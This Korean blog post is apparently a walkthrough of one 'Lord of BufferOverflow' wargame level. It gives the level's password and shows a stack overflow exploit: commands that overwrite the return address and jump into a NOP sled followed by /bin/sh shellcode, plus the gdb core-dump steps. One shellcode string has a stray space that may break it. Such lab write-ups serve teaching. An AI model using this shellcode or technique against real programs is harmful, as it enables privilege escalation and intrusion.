Bace

LOB - gremlin 본문

LOB

LOB - gremlin

Bace 2019. 11. 7. 06:04

이전 문제인 gate에서 구한 gremlin과 PW인 hello bof world를 통해 들어간다.  

ID : gremlin PW : hello bof world

파일 목록을 보면

cobolt와 cobolt의 소스가 들어있다. 

gate와 전체적인 내용은 같지만 이번엔 buffer 크기가 16 byte이다. 

mkdir tmp

cp cobolt tmp/  명령어를 통해 일단 파일을 복사한다.

 

buffer의 크기는 16 byte SFP 크기는 4 byte이므로

./cobolt `python -c 'print "\x90"*20+"\x61\x61\x61\x61"'` 을 해주면 segmentation fault가 뜬다.

gdb -c core 명령어를 통해 들어가본다.

RET 에 들어간

0x61616161 가 뭐냐고 물어보고 있다. -> eip에 들어가 있을 것이다.

\x90이 어디에 들어가 있는지 확인한다.

 

argv를 2개 주어 보낸다.

./cobolt `python -c 'print "b"*20+"\x61\x61\x61\x61"'` `python -c 'print "\x90"*215+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53 \x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

gdb -c core 명령어를 통해 core를 확인한다.

0x61616161이 어딘지 묻고 있다.

argv 첫번째 인자가 나오고 Null 값이 들어간 후 두번째 인자가 들어간다.

 

두번째 인자에 쉘코드가 들어가 있으므로 첫번째 인자의 RET 부분에 두번째 인자 부분에서 쉘코드 앞에 있는 Nop 값이 있는 부분 주소를 적는다.


0xbffffbcc 를 선택했다.

./cobolt `python -c 'print "b"*20+"\xcc\xfb\xff\xbf"'` `python -c 'print "\x90"*215+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53 \x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

cobolt의 권한이 들어오고,

my-pass를 통해 cobolt의 password를 얻을 수 있다. 

'LOB' 카테고리의 다른 글

LOB - cobolt  (0) 2019.11.07
LOB - Gate  (0) 2019.11.07